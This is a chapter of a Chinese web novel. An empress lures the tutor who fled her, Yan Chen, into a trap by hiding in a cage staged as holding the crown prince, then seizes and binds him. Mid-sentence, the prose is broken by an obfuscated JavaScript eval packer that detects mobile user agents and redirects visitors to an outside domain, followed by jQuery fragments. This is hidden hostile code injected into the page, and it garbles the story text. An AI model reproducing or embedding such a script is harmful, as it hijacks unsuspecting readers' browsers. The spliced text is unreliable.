黎未央抬手批改着那些大臣递上来的奏折,手腕用力间突然开始心生烦躁。
她抬手将奏折全部掀翻在地上,胸口起伏了几下,又突然俯身将地上的奏折捡了起来。
但她并没有继续批改,而是有些颓然的坐在椅子上,望着那些被重新捡到桌子上的奏折出神。
既然宴尘已经走了,那她维持这个明君的形象做什么?
黎未央想了很久,随后不甘的叹了口气。
宴尘真会蛊惑人,他带她出宫的这些天,她竟然觉得那些人就那样能安安稳稳的过着这一生挺好!
所以她批了这么多天的奏折,想看个太平盛世可真不容易。
她沉默了片刻,还是抬手去抽桌子上的奏折了。
突然,御书房的门被敲了三下,黎未央头都未抬,敢这样敲御书房的门的除了青雀卫首领,她不做他想。
果不其然,下一刻有人推门而入。
青雀卫首领面无表情的推门而入,抬脚单膝跪地,“陛下,梁御医已经进入南疆,除了他并没有其他人。”
黎未央脸一沉,还没有说话,青雀卫首领又开口道,“隶属于太子旧部的卫一擅闯宫门,求见您,是否召见?”
这话一出,黎未央眯了眯眼,坐直了身体。
她突然想到,宴尘出事前曾经说要带太子离开,如果他还活着必定不会放任太子黎辰不管。
“让他进来。”黎未央开口道,“守好御书房,除了卫一,我谁都不见。”
想起这些天因为青奴犯错,安分不少的江肃,她眯着眼睛,“如果将军问起,就说朕在批改奏折,不见任何人。”
青雀卫首领面无表情的抬手领命,“是!”
算起来,黎未央已经有很久没有见过太子旧部的人了,自从她将太子“杀”了后,这些人就像是人间蒸发了一样,她谁都没有找到。
没有永恒的敌人,只要开的起筹码,敌人也可以是友人。
今日卫一敢过来,那他手里一定有她想要的东西。
思索间,有人推门而入,来人步调略刻意压低,不像是青雀卫首领。
黎未央抬眼,“你既然敢就这样来找朕,想做什么?”
卫一站在黎未央一米开外的位置,这个位置适合谈判又不容易引起黎未央的反感。
“陛下,我想与您做一笔交易!”卫一直截了当,“放了太子殿下,我把宴太傅交给你。”
御书房静了片刻,黎未央微笑的唇抿了下来,眼眸漆黑,她抬手压在桌子上,看着卫一的眼神有些捉摸不透,“你来找朕,太傅知道吗?”
卫一毫无惧怕之意,他没说宴尘是不是知道他来皇宫的事,只是抬头,“我知道陛下将太子殿下藏得很好,那个地方我闯不进去,要救太子,只能来找陛下。”
他看着坐在椅子上一身华服的女子,“陛下找了太傅两日,可有收获?”
黎未央面无表情,“既然知道宴尘在太子旧部,那朕找他易如反掌,何须与你做交易?”
卫一也面无表情,“那陛下是想要一个死的太傅,还是想要一个活的太傅仅在您一念之间了。”
黎未央眼眸一黑,站了起来,“你威胁我?”
她抬脚靠近卫一,声音冰冷,“朕平生最讨厌有人威胁,你想葬在哪里?”
卫一并没有后退,他在黎未央眼里看到对他的杀意后反而松了口气,既然黎未央在乎,那就好办。
不到万不得已,他不想杀了太子恩师。
他温顺的低头,“不敢,陛下找了太傅两日,想必不想带回来一个不会说话,没有脉搏的死人吧。”
御书房里面落针可闻,很久后,黎未央才开口,“明日太傅出殡,我会带太子去皇陵,能不能救到人,就看你们的本事了。”
卫一松了口气,抬手感谢,“多谢陛下告知,明日我们一定会来接太子离开。”
他顿了顿,“太傅也会去!”
黎未央没有说话,就那样看着卫一开门出去。
在卫一离开后,青雀卫首领走了进来,他抬手恭敬问,“陛下!”
黎未央转身将桌子上的奏折重新批阅,心情好了不少,“不必,让他回去,一个太子旧部而已,既然不能为我所用,那就等接回帝后就清理干净吧。”
青雀卫首领垂下眼,安静的站在一旁。
目光却悄悄打量女帝。
黎未央此刻正在批阅奏折,嘴角比平时上扬了不少。
女帝今日心情不错,看来是知道太傅的下落了。
太傅没有死。
青雀卫首领松了口气,这样的话,那些守着青雀台却还让太傅遭遇险境的人还有一线生机。
第三日,一副棺椁从皇宫中被运出,抬棺的人皆着素服,脸上神情肃穆,棺椁后面的侍卫压着一个盖着黑布的笼子,看不清楚里面装的是什么。
棺椁由街头慢慢抬到街尾,穿过两条小巷后才从城门往外出,最后离开了京城,往皇陵而去。
在不起眼的酒楼二楼,唇色苍白俊美的男子就那样看着棺椁从他的面前经过,直到从城门往外而去。
“先生?”卫一急躁的唤了声,“再不动手,皇陵守卫森严,只怕更不好救太子了。”
宴尘两只手腕裹着白色纱布,身上带着浓重的药味,他低低的咳嗽了几声,“等他们出城。”
街道的行人早已经被皇城守卫军提前肃清,此刻街道上空无一人,他们在城里面动手,很容易惹来守卫军。
况且,他怀疑黎未央在怀疑他没有死,这次的太子又是那人放出的诱饵。
毕竟梁平离开皇宫后就传信说他被人跟踪了,让宴尘不用管他,他带着人去往南疆,伺机甩掉。
他自从从皇宫死里逃生后,精神大不如前,前两日都处于浑浑噩噩的状态,昨夜还发了场高热,今日脸色着实不怎么好。
但好在太子的暗卫即使没有他依旧能够靠着卫一做出决定,于是宴尘前两日放任自己睡了个好觉。
卫一抿着唇,目光隐晦的望着似乎在沉思的太傅,他默了片刻,没在说话。
过了片刻后,宴尘起身,他没有看卫一,而是推开房门走了出去。
他的声音从屋外传来,“动手吧!”
无论那个黑笼子里面的人是不是黎辰,宴尘都得去看看。
卫一愧疚的看了远去的人一眼,随后跟了上去。
他要做的事固然可能会伤到太傅,但他不会停下来。
太子旧部群龙无首太久,他们真的太需要一个主持大事的人了。
而且青雀女帝找了太傅两日,不像是对待一个玩宠的样子。
只是牺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630577|172534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牲一下太傅,相信他会理解的。
宴尘到时,城外太子的暗卫也称隐卫已经与抬棺的人旁边的皇城卫打起来了,棺材被抬棺者抬着,不敢放在地上,他们瑟瑟发抖的看着这些人打架,却不敢将棺材放下逃跑。
而太子隐卫与守卫军却没有管他们,他们们从一开始的目标就是棺椁后面的黑笼。
棺材不能放地上,可黑笼可以,于是那个可以装一个人的黑笼子被丢弃在了地上,隐卫慢慢的靠近黑笼,却被守卫军阻拦着。
即使全是打斗声,黑笼里面都没有丝毫动静,宴尘皱了皱眉,趁着人都在打架灵巧的闪避着走到了黑笼前面。
黑笼盖着黑布,宴尘看不见里面的场景。
他抬手掀开黑布瞧了一眼,顿时笼内的场景就映入眼帘。
消瘦的身影跪坐在笼内,那身华服上血迹斑斑,男人低着头靠在铁笼上,双手被铁链栓在笼子上,限制了男人的活动范围,且他散乱的长发披在肩膀上,看不出是否还有意识。
宴尘没有半点犹豫,他抬手就斩断了锁着铁笼的铁链,随后探头进去,抬手想要将男子手腕的铁链打开。
宴尘声音略低沉,带着安抚,“殿下,醒醒,没事了。”
就在他抬手笼住男子手腕铁链的那一刻,男子手腕一翻,虚虚搭在他手腕的铁链从他的手腕上掉落了下来。
与此同时,他也抓住了宴尘的手腕。
“抓到你了,太傅!”
男子抬起头,露出了那张与黎辰相似却略柔和的脸,她的神色带着点本人都不知道的癫狂,声音中的势在必得听得宴尘后背汗毛一炸,条件反射的要挣脱身前的人的控制。
但黎未央此刻力气大得非比寻常,他一时间挣脱不开。
黎未央手腕用力,宴尘还没有痊愈的身体虚弱,根本不是她的对手,被她拉得直接滚进了铁笼里。
他发出一声短促的痛叫,随后被他极快的吞了回去。
但黎未央还是听到了,她下意识放手,随后被宴尘一掌打在小腹上。
黎未央不退反进,抬手攥着宴尘未受伤的手臂,将想要出去的宴尘拽了回来。
他不愿意压着黎未央,以一个别扭的姿势跪坐在她的身前,额头冷汗打湿额发。
狭小的空间里,宴尘被迫跪坐在黎未央面前,被她拴住双腕,拉至胸前。
随后黎未央将他压在铁笼上,外面的隐卫还在与守卫打架,还没有发现铁笼里面的根本就不是太子黎辰,而是女帝黎未央。
她压着宴尘,声音带着点狠意,“太傅可真能跑,你说这次回去,我是要将你锁在榻上还是将你双腿打折?”
说话间,她抬手从宴尘腰间抽了腰带,将他的手绑在铁笼上。
宴尘胸口起伏了几下,被黎未央温柔的抚着额发,将被冷汗打湿的额发捋顺,露出那双被水雾侵蚀的双眸。
女帝眼底的冷意宴尘看得分明,他唇色苍白,突然将脸埋入双腕间,不再理会发疯的女帝。
太狼狈了,尽管知道他武功已废,他依旧接受不了自己像一个废人一样,连黎未央三招都走不过就被压得毫无反抗之力。
经过这一挣扎,宴尘潦草包扎的双腕又浸出点点血迹。
黎未央眉头一皱,强硬的将他的脸抬了起来,看到了双眸紧闭,面容惨白的脸。